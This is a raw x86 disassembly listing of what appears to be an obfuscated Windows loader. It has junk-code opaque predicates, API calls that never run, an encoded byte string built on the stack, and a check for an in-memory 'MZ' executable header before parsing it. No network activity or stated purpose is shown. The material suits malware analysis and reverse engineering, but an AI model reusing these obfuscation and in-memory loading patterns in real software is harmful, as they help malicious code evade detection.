cmp ecx, dword [eax]
jge 0x1001ac0f
mov dword [ebp - 0x788], 1
jmp 0x1001ac16
and dword [ebp - 0x788], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0xa48]
cmp dword [ebp - 0x788], eax
jge 0x1001ac37
mov dword [ebp - 0x558], 1
jmp 0x1001ac3e
and dword [ebp - 0x558], 0
cmp dword [ebp - 0x558], 0xdf2ef51a
jbe 0x1001ac56
and dword [ebp - 0x560], 0
push 0
lea ecx, [ebp - 0x850]
call fcn.10020420
mov ecx, dword [ebp - 0x560]
imul ecx, dword [eax]
test ecx, ecx
je 0x1001acab
mov dword [ebp - 0x7e8], 1
jmp 0x1001acb2
and dword [ebp - 0x7e8], 0
push 0
lea ecx, [ebp - 0x850]
call fcn.10020420
mov ecx, dword [ebp - 0x7e8]
cmp ecx, dword [eax]
jl 0x1001acd5
mov dword [ebp - 0x568], 1
jmp 0x1001acdc
and dword [ebp - 0x568], 0
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp + eax*4 - 0xa48]
cmp eax, dword [ebp - 0x568]
jge 0x1001acfd
mov dword [ebp - 0x6d8], 1
jmp 0x1001ad04
and dword [ebp - 0x6d8], 0
cmp dword [ebp - 0x6d8], 0xb34c266d
je 0x1001ad1c
mov dword [ebp - 0x570], 1
jmp 0x1001ad23
and dword [ebp - 0x570], 0
push 0
lea ecx, [ebp - 0x850]
call fcn.10020420
mov ecx, dword [ebp - 0x570]
cmp ecx, dword [eax]
jle 0x1001ad46
mov dword [ebp - 0x790], 1
jmp 0x1001ad4d
and dword [ebp - 0x790], 0
cmp dword [ebp - 0x790], 0xbed162c5
jbe 0x1001ad6b
mov eax, dword [ebp - 0x18]
movzx eax, byte [ebp + eax - 0x1c7]
mov ecx, dword [ebp - 0x18]
sub ecx, dword [ebp - 0x1a8]
movzx ecx, byte [ebp + ecx - 0x1ca]
movsx ecx, byte [ebp + ecx - 0x890]
add eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x1c7]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x1a8]
movzx edx, byte [ebp + edx - 0x1ca]
movsx edx, byte [ebp + edx - 0x890]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x1c7]
mov edx, dword [ebp - 0x18]
sub edx, dword [ebp - 0x1a8]
movzx edx, byte [ebp + edx - 0x1ca]
movsx edx, byte [ebp + edx - 0x890]
and ecx, edx
sub eax, ecx
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ebp + ecx - 0x1c8]
mov byte [ebp + ecx - 0x890], al
mov dword [ebp - 0x168], 1
mov dword [ebp - 0x188], 0xc7730f94
push 2
lea ecx, [ebp - 0xc6c]
call fcn.10020382
mov dword [ebp - 4], 0x10
mov dword [ebp - 0x254], 0
jmp 0x1001ae65
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jge 0x1001ae84
push dword [ebp - 0x254]
lea ecx, [ebp - 0xc6c]
call fcn.10020420
and dword [eax], 0
jmp 0x1001ae58
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x188], eax
mov dword [ebp - 0x188], 1
jmp 0x1001aea9
mov eax, dword [ebp - 0x188]
dec eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0
jl 0x1001af1b
mov dword [ebp - 0x168], 0
jmp 0x1001aecb
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 1
jg 0x1001aefb
mov byte [ebp - 0x10f], 0
movzx eax, byte [ebp - 0x10f]
test eax, eax
je 0x1001aef9
push 0
push 0
push 0x73c
push 0
push 0
call dword [sym.imp.USER32.dll_CreateDialogIndirectParamA]
jmp 0x1001aebe
mov byte [ebp - 0x111], 0
movzx eax, byte [ebp - 0x111]
test eax, eax
je 0x1001af19
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
jmp 0x1001ae9c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc6c]
call fcn.10020404
and dword [ebp - 0x1a8], 0
jmp 0x1001a31b
xor eax, eax
inc eax
imul eax, eax, 0xd
mov byte [ebp + eax - 0x890], 0
mov dword [ebp - 0x13c], 0xd8c45cdb
mov dword [ebp - 0x8e8], 0xffffffff
mov dword [ebp - 0x2a4], 0
jmp 0x1001af71
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 3
jge 0x1001af8d
mov eax, dword [ebp - 0x2a4]
mov dword [ebp + eax*4 - 0xda0], 0x9a9b8fa4
jmp 0x1001af64
mov dword [ebp - 0x13c], 1
cmp dword [ebp - 0x13c], 0
je 0x1001afb9
mov dword [ebp - 0x928], 0xfffffffb
mov dword [ebp - 0x928], 0
jmp 0x1001b0f1
mov dword [ebp - 0x9f8], 0xfffd
mov dword [ebp - 0x9f4], 0xfffd
mov dword [ebp - 0x9f0], 0xfffd
mov dword [ebp - 0x9ec], 0xfffd
mov dword [ebp - 0x6e8], 0x8e10e5e5
mov eax, dword [ebp - 0x13c]
mov dword [ebp - 0xbc4], eax
xor eax, eax
inc eax
je 0x1001b0ca
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x13c]
cmp dword [ebp + eax - 0x9f8], ecx
jle 0x1001b021
mov dword [ebp - 0x6e0], 1
jmp 0x1001b028
and dword [ebp - 0x6e0], 0
cmp dword [ebp - 0x6e0], 1
jbe 0x1001b03d
mov dword [ebp - 0x580], 1
jmp 0x1001b044
and dword [ebp - 0x580], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x9f8]
cmp dword [ebp - 0x580], eax
jne 0x1001b065
mov dword [ebp - 0x814], 1
jmp 0x1001b06c
and dword [ebp - 0x814], 0
mov eax, dword [ebp - 0x814]
mov dword [ebp - 0x8e8], eax
push 4
pop eax
imul eax, eax, 3
mov eax, dword [ebp + eax - 0x9f8]
mov dword [ebp - 0xbcc], eax
cmp dword [ebp - 0x13c], 0
je 0x1001b0a9
mov eax, 0x609f
test eax, eax
je 0x1001b0a9
mov dword [ebp - 0x588], 1
jmp 0x1001b0b0
and dword [ebp - 0x588], 0
mov eax, dword [ebp - 0x588]
mov dword [ebp - 0x6e8], eax
mov eax, dword [ebp - 0x13c]
cmp dword [ebp - 0x6e8], eax
jg 0x1001b0e0
mov eax, 0xffff
test eax, eax
jne 0x1001b0e0
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x9f8], 0
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0xda0], 2
mov byte [ebp - 0xd7], 0
movzx eax, byte [ebp - 0xd7]
test eax, eax
je 0x1001b10d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionAndSpinCount]
lea eax, [ebp - 0x890]
push eax
lea ecx, [ebp - 0xe2c]
call fcn.100202eb
mov dword [ebp - 0x930], eax
mov eax, dword [ebp - 0x930]
mov dword [ebp - 0x8f0], eax
mov dword [ebp - 4], 0x11
mov edx, dword [ebp - 0x44c]
mov ecx, dword [ebp - 0x8f0]
call fcn.1000a9c9
mov dword [0x1061c3d0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe2c]
call fcn.1002030e
and dword [ebp - 0x274], 0
jmp 0x1001b173
mov eax, dword [ebp - 0x274]
inc eax
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0xe
jae 0x1001b642
push 1
lea ecx, [ebp - 0xaec]
call fcn.10020382
mov dword [ebp - 4], 0x12
mov dword [ebp - 0xa8], 1
mov dword [ebp - 0x26c], 0xffffffff
mov dword [ebp - 0x2e0], 0xc9ebf495
mov dword [ebp - 0x124], 1
mov dword [ebp - 0x2cc], 0xfffffff7
push 2
lea ecx, [ebp - 0x868]
call fcn.10020382
mov byte [ebp - 4], 0x13
mov dword [ebp - 0x2ac], 0xac895352
mov dword [ebp - 0x70], 0
jmp 0x1001b1f1
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 1
jge 0x1001b20d
push dword [ebp - 0x70]
lea ecx, [ebp - 0xaec]
call fcn.10020420
mov dword [eax], 0xec2e
jmp 0x1001b1ea
mov dword [ebp - 0x70], 0
jmp 0x1001b21d
mov eax, dword [ebp - 0x70]
inc eax
mov dword [ebp - 0x70], eax
cmp dword [ebp - 0x70], 2
jge 0x1001b239
push dword [ebp - 0x70]
lea ecx, [ebp - 0x868]
call fcn.10020420
mov dword [eax], 0xb3a00d0e
jmp 0x1001b216
mov dword [ebp - 0xa8], 0
jmp 0x1001b252
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0
jg 0x1001b2a4
mov dword [ebp - 0x25c], 0
jmp 0x1001b274
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 2
jge 0x1001b290
mov eax, dword [ebp - 0x25c]
mov dword [ebp + eax*4 - 0xc2c], 0xbb11accb
jmp 0x1001b267
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xc2c], 0
je 0x1001b2a2
jmp 0x1001b2a4
jmp 0x1001b245
cmp dword [ebp - 0xa8], 0
jne 0x1001b2d8
mov eax, dword [ebp - 0x2ac]
dec eax
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
jne 0x1001b2d8
and dword [ebp - 0x598], 0
jmp 0x1001b2e2
mov dword [ebp - 0x598], 1
cmp dword [ebp - 0x124], 0xb07f
jle 0x1001b2fa
mov dword [ebp - 0x798], 1
jmp 0x1001b301
and dword [ebp - 0x798], 0
mov esi, dword [ebp - 0x2cc]
push 0
lea ecx, [ebp - 0x868]
call fcn.10020420
cmp esi, dword [eax]
jle 0x1001b324
mov dword [ebp - 0x590], 1
jmp 0x1001b32b
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x590]
add eax, 0xfff7
imul eax, dword [ebp - 0x798]
test eax, eax
jne 0x1001b34e
xor eax, eax
jne 0x1001b34e
and dword [ebp - 0x6f0], 0
jmp 0x1001b358
mov dword [ebp - 0x6f0], 1
mov eax, dword [ebp - 0x598]
cmp eax, dword [ebp - 0x6f0]
jl 0x1001b372
mov dword [ebp - 0x5a0], 1
jmp 0x1001b379
and dword [ebp - 0x5a0], 0
mov eax, dword [ebp - 0x26c]
cmp dword [ebp - 0x5a0], eax
jge 0x1001b393
mov dword [ebp - 0x32c], 1
jmp 0x1001b39a
and dword [ebp - 0x32c], 0
push 1
lea ecx, [ebp - 0x868]
call fcn.10020420
mov ecx, dword [ebp - 0x32c]
mov dword [eax], ecx
mov eax, dword [ebp - 0xa8]
sub eax, dword [ebp - 0x32c]
cmp eax, dword [ebp - 0xa8]
jne 0x1001b3e1
push 0
lea ecx, [ebp - 0xaec]
call fcn.10020420
cmp dword [eax], 0
je 0x1001b3e1
mov dword [ebp - 0x7f0], 1
jmp 0x1001b3e8
and dword [ebp - 0x7f0], 0
mov eax, dword [ebp - 0x26c]
imul eax, dword [ebp - 0x7f0]
cmp eax, dword [ebp - 0x2cc]
jne 0x1001b409
mov dword [ebp - 0x5a8], 1
jmp 0x1001b410
and dword [ebp - 0x5a8], 0
mov eax, dword [ebp - 0x5a8]
mov dword [ebp - 0x2cc], eax
cmp dword [ebp - 0x2cc], 0
je 0x1001b5cc
mov dword [ebp - 0x170], 0x5a02
mov dword [ebp - 0x264], 0
jmp 0x1001b44c
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 3
jge 0x1001b468
mov eax, dword [ebp - 0x264]
mov dword [ebp + eax*4 - 0xd7c], 0xfffffffc
jmp 0x1001b43f
xor eax, eax
inc eax
je 0x1001b4a6
mov eax, dword [ebp - 0x2ac]
mov dword [ebp - 0xbd4], eax
mov eax, dword [ebp - 0xa8]
mov dword [ebp - 0xbdc], eax
mov eax, dword [ebp - 0x170]
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0
je 0x1001b4a6
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x2e0]
cmp dword [ebp - 0x170], eax
jl 0x1001b4c7
mov dword [ebp - 0xbe4], 0xffaef179
mov dword [ebp - 0x124], 0xfffffff7
jmp 0x1001b5ef
mov eax, dword [ebp - 0x124]
dec eax
mov dword [ebp - 0x124], eax
cmp dword [ebp - 0x124], 0xffffffe2
jge 0x1001b611
mov dword [ebp - 0x5c8], 0x6574f20
mov eax, dword [ebp - 0x5c8]
dec eax
mov dword [ebp - 0x5c8], eax
jmp 0x1001b5e2
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x868]
call fcn.10020404
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xaec]
call fcn.10020404
mov eax, dword [ebp - 0x274]
mov byte [ebp + eax - 0x890], 0
jmp 0x1001b166
mov dword [ebp - 0x44], 0xffffffff
mov dword [ebp - 0x190], 0x110e6b6c
mov dword [ebp - 0x2b4], 0
jmp 0x1001b66c
mov eax, dword [ebp - 0x2b4]
inc eax
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 1
jge 0x1001b685
mov eax, dword [ebp - 0x2b4]
mov dword [ebp + eax*4 - 0x34], 0x1dfe4b28
jmp 0x1001b65f
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34], 0
jne 0x1001b69d
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34], 0
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x34]
push 4
pop edx
imul edx, edx, 0
push 0xfffffffffffffff9
pop esi
sub esi, dword [ebp + edx - 0x34]
add ecx, esi
cmp dword [ebp + eax - 0x34], ecx
jg 0x1001b6ce
mov dword [ebp - 0x708], 1
jmp 0x1001b6d5
and dword [ebp - 0x708], 0
mov eax, dword [ebp - 0x708]
mov dword [ebp - 0x44], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34]
cmp dword [ebp - 0x44], eax
jl 0x1001b6f9
mov dword [ebp - 0x5d0], 1
jmp 0x1001b700
and dword [ebp - 0x5d0], 0
cmp dword [ebp - 0x5d0], 0xb696
je 0x1001b718
mov dword [ebp - 0x7a8], 1
jmp 0x1001b71f
and dword [ebp - 0x7a8], 0
cmp dword [ebp - 0x7a8], 0xfff6
jb 0x1001b737
mov dword [ebp - 0x5d8], 1
jmp 0x1001b73e
and dword [ebp - 0x5d8], 0
mov eax, dword [ebp - 0x190]
cmp dword [ebp - 0x5d8], eax
jle 0x1001b758
mov dword [ebp - 0x710], 1
jmp 0x1001b75f
and dword [ebp - 0x710], 0
cmp dword [ebp - 0x710], 0
jbe 0x1001b786
mov byte [ebp - 0x108], 0
movzx eax, byte [ebp - 0x108]
test eax, eax
je 0x1001b784
push 0
push 0
call dword [sym.imp.USER32.dll_CharLowerBuffW]
jmp 0x1001b7a5
mov byte [ebp - 0x110], 0
movzx eax, byte [ebp - 0x110]
test eax, eax
je 0x1001b7a5
push 0
push 0x1c92
call dword [sym.imp.USER32.dll_ClientToScreen]
mov dword [ebp - 0x190], 0
jmp 0x1001b7be
mov eax, dword [ebp - 0x190]
inc eax
mov dword [ebp - 0x190], eax
cmp dword [ebp - 0x190], 0x10
jle 0x1001b94c
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x900], 0x1c73b017
mov dword [ebp - 0x44], 0
jmp 0x1001b7ec
cmp dword [ebp - 0x44], 0
jg 0x1001b8e5
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp + eax*4 - 0x34]
mov dword [ebp - 0xbec], eax
xor eax, eax
inc eax
jne 0x1001b810
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x34], 0
push 3
pop eax
test eax, eax
je 0x1001b84b
cmp dword [ebp - 0x78], 0xea2ff3e1
ja 0x1001b82c
mov dword [ebp - 0x5e0], 1
jmp 0x1001b833
and dword [ebp - 0x5e0], 0
cmp dword [ebp - 0x5e0], 0x2ae4
je 0x1001b84b
mov dword [ebp - 0x800], 1
jmp 0x1001b852
and dword [ebp - 0x800], 0
cmp dword [ebp - 0x800], 0x3818
jl 0x1001b86a
mov dword [ebp - 0x8f8], 1
jmp 0x1001b871
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x44]
cmp dword [ebp + eax*4 - 0x34], 0
je 0x1001b88c
xor eax, eax
inc eax
je 0x1001b88c
and dword [ebp - 0x940], 0
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0xbf4], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x34], 0
jne 0x1001b8b8
mov dword [ebp - 0x78], 0
jmp 0x1001b8f5
mov eax, dword [ebp - 0x78]
inc eax
mov dword [ebp - 0x78], eax
cmp dword [ebp - 0x78], 0
jg 0x1001b947
mov byte [ebp - 0xc9], 0
movzx eax, byte [ebp - 0xc9]
test eax, eax
je 0x1001b91f
push 0x119b
push 0
push 0x200c
call dword [sym.imp.GDI32.dll_Polyline]
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x34]
mov dword [ebp - 0x718], eax
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x718]
mov dword [ebp + eax*4 - 0x34], ecx
mov eax, dword [ebp - 0x718]
mov dword [ebp - 0x44], eax
jmp 0x1001b8ee
jmp 0x1001b7b1
mov dword [ebp - 0x178], 0x4e064826
mov byte [ebp - 0xd9], 0
movzx eax, byte [ebp - 0xd9]
test eax, eax
je 0x1001b987
push 0x1ab2
push 0x24b4
push 0xdcb
push 0x1e89
push 0x25df
call dword [sym.imp.GDI32.dll_IntersectClipRect]
mov dword [ebp - 0x178], 0
jmp 0x1001b9a0
mov eax, dword [ebp - 0x178]
dec eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0xffffffe5
je 0x1001b9b6
cmp dword [ebp - 0x178], 0
je 0x1001b9b4
jmp 0x1001b9b6
jmp 0x1001b993
mov byte [ebp - 0x1e8], 8
mov byte [ebp - 0x1e7], 0xd5
mov byte [ebp - 0x1e6], 1
mov byte [ebp - 0x1e5], 0x1d
mov byte [ebp - 0x1e4], 6
mov byte [ebp - 0x1e3], 0x22
mov byte [ebp - 0x1e2], 2
mov byte [ebp - 0x1e1], 0x35
mov byte [ebp - 0x1e0], 0xb
mov byte [ebp - 0x1df], 0x16
mov byte [ebp - 0x1de], 5
mov byte [ebp - 0x1dd], 0x16
mov byte [ebp - 0x1dc], 0xd
mov byte [ebp - 0x1db], 0x32
mov byte [ebp - 0x1da], 3
mov byte [ebp - 0x1d9], 0x36
mov byte [ebp - 0x1d8], 4
mov byte [ebp - 0x1d7], 0x15
mov byte [ebp - 0x1d6], 1
mov byte [ebp - 0x1d5], 0xb9
mov byte [ebp - 0x1d4], 0xc
mov byte [ebp - 0x1d3], 7
mov byte [ebp - 0x1d2], 0
mov byte [ebp - 0x1d1], 0x30
mov byte [ebp - 0x1d0], 0xa
mov byte [ebp - 0x1cf], 0x26
mov byte [ebp - 0x1ce], 7
mov byte [ebp - 0x1cd], 0x17
mov byte [ebp - 0x1cc], 9
mov byte [ebp - 0x1cb], 0x11
mov dword [ebp - 0x80], 0xd4e06482
push 1
lea ecx, [ebp - 0xa60]
call fcn.10020382
mov dword [ebp - 4], 0x14
mov dword [ebp - 0x27c], 0
jmp 0x1001babc
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 1
jge 0x1001bade
push dword [ebp - 0x27c]
lea ecx, [ebp - 0xa60]
call fcn.10020420
mov dword [eax], 0xfaafe30f
jmp 0x1001baaf
mov dword [ebp - 0x80], 0
jmp 0x1001baee
cmp dword [ebp - 0x80], 0x17
jg 0x1001bb8c
mov eax, dword [0x1061c3d0]
cmp eax, dword [ebp - 0x21c]
je 0x1001c981
mov eax, dword [0x106271f0]
cmp eax, dword [ebp - 0x21c]
jne 0x1001cc71
mov dword [ebp - 0x1c], 0xfffffff6
mov dword [ebp - 0x37c], 1
mov dword [ebp - 0x4bc], 0xc857617
mov dword [ebp - 0x4dc], 1
mov dword [ebp - 0x34c], 0x1943ec3e
mov dword [ebp - 0x93c], 0xd08f4923
mov dword [ebp - 0xd18], 0
mov dword [ebp - 0xc70], 1
mov dword [ebp - 0xb70], 0
push 4
lea ecx, [ebp - 0xc8c]
call fcn.10020382
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0x4ec], 1
mov dword [ebp - 0x268], 0
jmp 0x1001ca0f
mov eax, dword [ebp - 0x268]
inc eax
mov dword [ebp - 0x268], eax
cmp dword [ebp - 0x268], 4
jge 0x1001ca2e
push dword [ebp - 0x268]
lea ecx, [ebp - 0xc8c]
call fcn.10020420
and dword [eax], 0
jmp 0x1001ca02
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xcf0], eax
cmp dword [ebp - 0x1c], 0
jne 0x1001ca4d
push 0xfffffffffffffffd
pop eax
test eax, eax
jne 0x1001ca4d
and dword [ebp - 0x47c], 0
jmp 0x1001ca57
mov dword [ebp - 0x47c], 1
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x47c]
jne 0x1001ca6e
mov dword [ebp - 0x484], 1
jmp 0x1001ca75
and dword [ebp - 0x484], 0
mov eax, dword [ebp - 0x484]
neg eax
cmp eax, dword [ebp - 0x1c]
jne 0x1001ca8e
mov dword [ebp - 0x48c], 1
jmp 0x1001ca95
and dword [ebp - 0x48c], 0
cmp dword [ebp - 0x48c], 0xfeaf
jl 0x1001caad
mov dword [ebp - 0x494], 1
jmp 0x1001cab4
and dword [ebp - 0x494], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x494], eax
jg 0x1001cacb
mov dword [ebp - 0x49c], 1
jmp 0x1001cad2
and dword [ebp - 0x49c], 0
mov eax, dword [ebp - 0x49c]
mov dword [ebp - 0x37c], eax
mov eax, dword [ebp - 0x37c]
sub eax, 0x7f51
cmp eax, dword [ebp - 0x1c]
jne 0x1001cafa
mov dword [ebp - 0x4a4], 1
jmp 0x1001cb01
and dword [ebp - 0x4a4], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x4a4]
cmp eax, dword [ebp - 0x1c]
jge 0x1001cb25
mov eax, 0x56411d7f
test eax, eax
je 0x1001cb25
mov dword [ebp - 0x4ac], 1
jmp 0x1001cb2c
and dword [ebp - 0x4ac], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4ac], eax
jle 0x1001cb43
mov dword [ebp - 0x9ac], 1
jmp 0x1001cb4a
and dword [ebp - 0x9ac], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xb78], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0xc80], eax
xor eax, eax
inc eax
cmp eax, 0xf4a7d2ae
je 0x1001cb72
mov dword [ebp - 0x4b4], 1
jmp 0x1001cb79
and dword [ebp - 0x4b4], 0
mov eax, dword [ebp - 0x4b4]
sub eax, dword [ebp - 0x1c]
mov dword [ebp - 0x4bc], eax
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4bc], eax
jne 0x1001cb9f
mov dword [ebp - 0x4c4], 1
jmp 0x1001cba6
and dword [ebp - 0x4c4], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x4c4], eax
jl 0x1001cbbd
mov dword [ebp - 0x4cc], 1
jmp 0x1001cbc4
and dword [ebp - 0x4cc], 0
cmp dword [ebp - 0x4cc], 7
je 0x1001cbd9
mov dword [ebp - 0x4d4], 1
jmp 0x1001cbe0
and dword [ebp - 0x4d4], 0
mov eax, dword [ebp - 0x1c]
imul eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x4dc], eax
mov eax, dword [ebp - 0x4dc]
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0
jne 0x1001cc0c
cmp dword [ebp - 0x37c], 0
cmp dword [ebp - 0x34c], 0
je 0x1001cc2a
mov eax, 0xea1b
test eax, eax
je 0x1001cc2a
mov dword [ebp - 0x4e4], 1
jmp 0x1001cc31
and dword [ebp - 0x4e4], 0
mov eax, dword [ebp - 0x4e4]
mov dword [ebp - 0x93c], eax
mov eax, dword [ebp - 0x4ec]
dec eax
mov dword [ebp - 0x4ec], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xc8c]
call fcn.10020404
mov ecx, dword [ebp + 0xc]
call fcn.10020122
push eax
push dword [ebp + 8]
call fcn.10013293
pop ecx
pop ecx
jmp 0x1001ee87
push 4
lea ecx, [ebp - 0xb40]
call fcn.10020382
mov dword [ebp - 4], 0x1b
mov dword [ebp - 0xa10], 0
mov dword [ebp - 0x68], 0
jmp 0x1001cc9f
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 4
jge 0x1001ccbb
push dword [ebp - 0x68]
lea ecx, [ebp - 0xb40]
call fcn.10020420
mov dword [eax], 0x3342
jmp 0x1001cc98
mov dword [ebp - 0x68], 0
jmp 0x1001cccb
mov eax, dword [ebp - 0x68]
inc eax
mov dword [ebp - 0x68], eax
cmp dword [ebp - 0x68], 1
jge 0x1001cce1
mov eax, dword [ebp - 0x68]
mov dword [ebp + eax*4 - 0x16c], 0x252cb136
jmp 0x1001ccc4
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x16c], 0
jmp 0x1001cd0f
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x16c]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x16c], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x16c], 3
jg 0x1001cd5b
mov byte [ebp - 0xed], 0
movzx eax, byte [ebp - 0xed]
test eax, eax
je 0x1001cd39
push 0
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 4
pop eax
imul eax, eax, 0
push dword [ebp + eax - 0x16c]
lea ecx, [ebp - 0xb40]
call fcn.10020420
mov eax, dword [eax]
mov dword [ebp - 0xa10], eax
jmp 0x1001ccf4
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xb40]
call fcn.10020404
mov eax, dword [ebp + 8]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x514], 0x81c29000
mov dword [ebp - 0xb80], 0x10aa43b2
mov dword [ebp - 0x354], 0
mov dword [ebp - 0x9b4], 0xb0bf2465
mov dword [ebp - 0x944], 0x956a218f
mov dword [ebp - 0x380], 0x6522452a
mov dword [ebp - 0x51c], 0xa69eed08
mov dword [ebp - 0x98], 0
jmp 0x1001cdd2
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1001cdee
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xa00], 0x1b552bf3
jmp 0x1001cdc5
mov dword [ebp - 0x98], 0
jmp 0x1001ce07
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 3
jge 0x1001ce23
mov eax, dword [ebp - 0x98]
mov dword [ebp + eax*4 - 0xd70], 1
jmp 0x1001cdfa
mov eax, dword [ebp - 0x380]
inc eax
mov dword [ebp - 0x380], eax
mov eax, dword [ebp - 0x380]
cmp dword [ebp - 0x514], eax
je 0x1001ce4a
mov dword [ebp - 0x4f4], 1
jmp 0x1001ce51
and dword [ebp - 0x4f4], 0
mov eax, dword [ebp - 0x354]
cmp dword [ebp - 0x4f4], eax
jne 0x1001ce6b
mov dword [ebp - 0x4fc], 1
jmp 0x1001ce72
and dword [ebp - 0x4fc], 0
mov eax, dword [ebp - 0x51c]
cmp dword [ebp - 0x944], eax
je 0x1001ce89
cmp dword [ebp - 0x9b4], 0
je 0x1001ceae
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xd70], 0
je 0x1001ceae
mov eax, 0xfff7
test eax, eax
je 0x1001ceae
mov dword [ebp - 0x504], 1
jmp 0x1001ceb5
and dword [ebp - 0x504], 0
mov eax, dword [ebp - 0x4fc]
cmp eax, dword [ebp - 0x504]
jne 0x1001cecf
mov dword [ebp - 0x50c], 1
jmp 0x1001ced6
and dword [ebp - 0x50c], 0
mov eax, dword [ebp - 0x354]
add eax, dword [ebp - 0x50c]
cmp eax, 0x55059b8b
jne 0x1001cef5
mov dword [ebp - 0x94c], 1
jmp 0x1001cefc
and dword [ebp - 0x94c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xa00]
mov dword [ebp - 0xcb4], eax
mov eax, dword [ebp - 0x514]
mov ecx, dword [ebp - 0x354]
inc ecx
inc ecx
sub eax, ecx
mov dword [ebp - 0x51c], eax
cmp dword [ebp - 0x280], 0
je 0x1001ecb6
mov eax, dword [ebp - 0x280]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1001ecb6
mov dword [ebp - 0x30c], 0xacc5d9b4
mov dword [ebp - 0xb0], 0xa3cfce29
mov dword [ebp - 0x278], 0x720348f4
mov dword [ebp - 0x310], 0x88e1
push 1
lea ecx, [ebp - 0xb34]
call fcn.10020382
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x9bc], 0x9d5b611f
mov dword [ebp - 0x270], 0
jmp 0x1001cfa5
mov eax, dword [ebp - 0x270]
inc eax
mov dword [ebp - 0x270], eax
